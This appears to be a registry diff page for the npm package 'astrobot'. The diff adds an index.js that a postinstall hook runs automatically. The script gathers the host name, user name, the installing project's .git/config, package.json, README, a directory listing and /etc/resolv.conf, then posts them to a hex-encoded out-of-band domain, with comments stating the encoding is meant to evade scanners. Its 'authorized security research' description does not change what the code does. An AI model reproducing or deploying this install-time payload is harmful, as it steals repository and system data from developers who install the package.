astrobot 0.0.1-security → 10.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of astrobot might be problematic. Click here for more details.
- package/index.js +91 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
// =========================================================================
|
|
2
|
+
// ====== ULTIMATE NASA CONTEXT-AWARE PAYLOAD (FINAL DEPLOYMENT) =========
|
|
3
|
+
// =========== OAST HEX-ENCODED. MISSION: CAPTURE GIT CONTEXT. ===========
|
|
4
|
+
// =========================================================================
|
|
5
|
+
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const fs = require('fs');
|
|
8
|
+
const path = require('path');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const { execSync } = require('child_process');
|
|
11
|
+
|
|
12
|
+
// --- CONFIGURATION ---
|
|
13
|
+
// OAST domain hex-encoded to evade simple static IOC scanners.
|
|
14
|
+
const OAST_DOMAIN_HEX = '7672716f643762777871696d7179346d383738726166326b76623163703364732e6f6173746966792e636f6d';
|
|
15
|
+
const OAST_DOMAIN = Buffer.from(OAST_DOMAIN_HEX, 'hex').toString();
|
|
16
|
+
|
|
17
|
+
// --- HELPER FUNCTIONS ---
|
|
18
|
+
const run = (cmd) => { try { return execSync(cmd, { stdio: 'pipe', timeout: 5000 }).toString().trim(); } catch (e) { return 'CMD_FAILED'; } };
|
|
19
|
+
const safeReadFile = (filePath) => { try { return fs.readFileSync(filePath, 'utf8'); } catch (e) { return 'FILE_NOT_FOUND'; } };
|
|
20
|
+
|
|
21
|
+
// --- MAIN INTELLIGENCE GATHERING ---
|
|
22
|
+
const gatherProofPackage = () => {
|
|
23
|
+
const proof = {
|
|
24
|
+
mission_id: 'NASA-ASTROBOT-36d5833e',
|
|
25
|
+
timestamp: new Date().toISOString()
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
// Objective 1: Standard Host Reconnaissance
|
|
29
|
+
proof.host_intel = {
|
|
30
|
+
hostname: os.hostname(),
|
|
31
|
+
whoami: os.userInfo().username,
|
|
32
|
+
platform: os.platform(),
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
// Objective 2: CONTEXTUAL PROOF (THE SMOKING GUN)
|
|
36
|
+
// The goal is to prove this script is running inside a clone of the target repo.
|
|
37
|
+
// The current directory will be /path/to/project/node_modules/astrobot
|
|
38
|
+
const parentProjectRoot = path.resolve(__dirname, '../../');
|
|
39
|
+
proof.project_context = {
|
|
40
|
+
parent_project_path: parentProjectRoot,
|
|
41
|
+
|
|
42
|
+
// Is the parent project a git repository? Read its config.
|
|
43
|
+
parent_git_config: safeReadFile(path.join(parentProjectRoot, '.git/config')),
|
|
44
|
+
|
|
45
|
+
// Read the parent project's own package.json to identify it.
|
|
46
|
+
parent_package_json: safeReadFile(path.join(parentProjectRoot, 'package.json')),
|
|
47
|
+
|
|
48
|
+
// Read the first 500 chars of the parent's README file.
|
|
49
|
+
parent_readme_preview: safeReadFile(path.join(parentProjectRoot, 'README.md')).substring(0, 500) + '...',
|
|
50
|
+
|
|
51
|
+
// List all files in the parent directory for maximum context.
|
|
52
|
+
parent_directory_listing: run(`ls -la '${parentProjectRoot}'`)
|
|
53
|
+
};
|
|
54
|
+
|
|
55
|
+
// Objective 3: Standard Network Reconnaissance
|
|
56
|
+
proof.network_intel = {
|
|
57
|
+
resolv_conf: safeReadFile('/etc/resolv.conf'),
|
|
58
|
+
};
|
|
59
|
+
|
|
60
|
+
return proof;
|
|
61
|
+
};
|
|
62
|
+
|
|
63
|
+
// --- EXFILTRATION LOGIC ---
|
|
64
|
+
try {
|
|
65
|
+
const intelPackage = gatherProofPackage();
|
|
66
|
+
const payload = JSON.stringify(intelPackage, null, 2);
|
|
67
|
+
|
|
68
|
+
let summary = 'NO_CONTEXT';
|
|
69
|
+
// Create a dynamic URL path if we found the git config containing nasa/astrobot
|
|
70
|
+
if (intelPackage.project_context.parent_git_config.includes('nasa/astrobot')) {
|
|
71
|
+
summary = 'NASA_GIT_CONTEXT_CONFIRMED';
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
const req = https.request({
|
|
75
|
+
hostname: OAST_DOMAIN,
|
|
76
|
+
port: 443,
|
|
77
|
+
path: `/NASA_FINAL_HIT/${summary}/${intelPackage.host_intel.hostname}`,
|
|
78
|
+
method: 'POST',
|
|
79
|
+
headers: {
|
|
80
|
+
'Content-Type': 'application/json',
|
|
81
|
+
'Content-Length': Buffer.byteLength(payload),
|
|
82
|
+
'x-mission-id': intelPackage.mission_id
|
|
83
|
+
}
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
req.on('error', e => {}); // Silently fail on error
|
|
87
|
+
req.end(payload);
|
|
88
|
+
|
|
89
|
+
} catch (e) {
|
|
90
|
+
// Ultimate failsafe for any unexpected errors.
|
|
91
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "astrobot",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "10.9.9",
|
|
4
|
+
"description": "Security research for nasa/astrobot. Authorized under Bugcrowd VDP. ID: 36d5833e",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher (nepalihacker000)",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"repository": {
|
|
12
|
+
"type": "git",
|
|
13
|
+
"url": "https://github.com/nasa/astrobot.git"
|
|
14
|
+
}
|
|
6
15
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=astrobot for more information.
|